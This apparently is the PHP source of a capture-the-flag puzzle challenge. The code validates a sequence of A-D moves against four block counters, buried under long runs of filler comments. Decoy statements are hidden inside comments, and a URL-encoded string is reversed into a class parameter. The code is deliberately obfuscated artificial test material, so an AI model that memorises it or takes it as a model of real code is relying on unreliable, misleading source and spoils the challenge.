希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$MAX\_ENUM \= 2;private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$MIN\_ENUM \= 0;
public function/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/\_\_construct() {$this \-> blockA \= 2;$this-> blockB \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/
0;$this \-> blockC \= 0;/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$this \-> blockD \= 2;}
private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/function setBackBlock($block)/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/{$setType \= $this/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> MIN\_ENUM;
$maxType \= $this \-> MAX\_ENUM;
switch ($block) {
case 'A':if ($this \-> blockA \== $maxType) { $this \-> blockA \= $setType;return true; }
else return/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/false;
case 'B':
if ($this \-> blockB== $maxType) { $this \-> blockB \= $setType;return true; }else return false;
case 'C':
if ($this/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> blockC \== $maxType){ $this \-> blockC \= $setType;return true; }else/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/return false;
case 'D':
if ($this \-> blockD== $maxType) { $this \-> blockD \= $setType;return true; }
else return false;
default: throw new Exception("bad\_args", 1);
}
}
private function hit($blockIdx) {
global/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgj
global $cnbd;
rejfgireghjebvf;fvevbbn();ff;
grtisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$text;
$text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch ($blockIdx) {
case "A":
if (!$this \-> setBackBlock("A")) $this \-> blockA += 1;
if (!$this \-> setBackBlock("B")) $this \-> blockB += 1;
break;
case "B":
if (!$this \-> setBackBlock("A")) $this \-> blockA += 1;
if (!$this \-> setBackBlock("B")) $this \-> blockB += 1;if (!$this \-> setBackBlock("C")) $this \->/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/blockC += 1;
break;
case "C":if/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/
(!$this \-> setBackBlock("B")) $this \-> blockB += 1;if (!$this \-> setBackBlock("C")) $this \-> blockC += 1;
if (!$this \->/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/setBackBlock("D"))$this \-> blockD += 1;
break;
case "D":
if (!$this \-> setBackBlock("C")) $this \-> blockC += 1;
if (!$this \-> setBackBlock("D")) $this \-> blockD += 1;
break;
default: throw new Exception("bad\_args", 1);
}
}
public function \_\_AFG50CE4\_RG1() {
global $puzz\_writeup;
if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/
// bcdufvcf%00
$i++) {
if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\]/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!
\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/,"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);
global/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$userans;
$userans \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/$this \->blockA + $this/\*->ddd;
echo();die();\\n\\0
\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/-> blockB + $this \-> blockC/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/+ $this \-> blockD;
}
public function/\*\\00\\00\\00%00%00fvjiv
fmfveb vebvgebb;
gjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/getLockerStatus() {
global $text;$text \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\
00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/strrev($text);
if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;
else return false;
}
}
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb \-> getLockerStatus()) die();
return $obj;
}
$appor5nnb \= new InazumaPuzzle();
$appor5nnb \-> \_\_AFG50CE4\_RG1();
$cvb33ff55 \= new PerlinNoise(3000, 700.4, 56.7, "DIFF\_PERLIN");
$cvb33ff55->\_\_BHUYTVV8\_1();
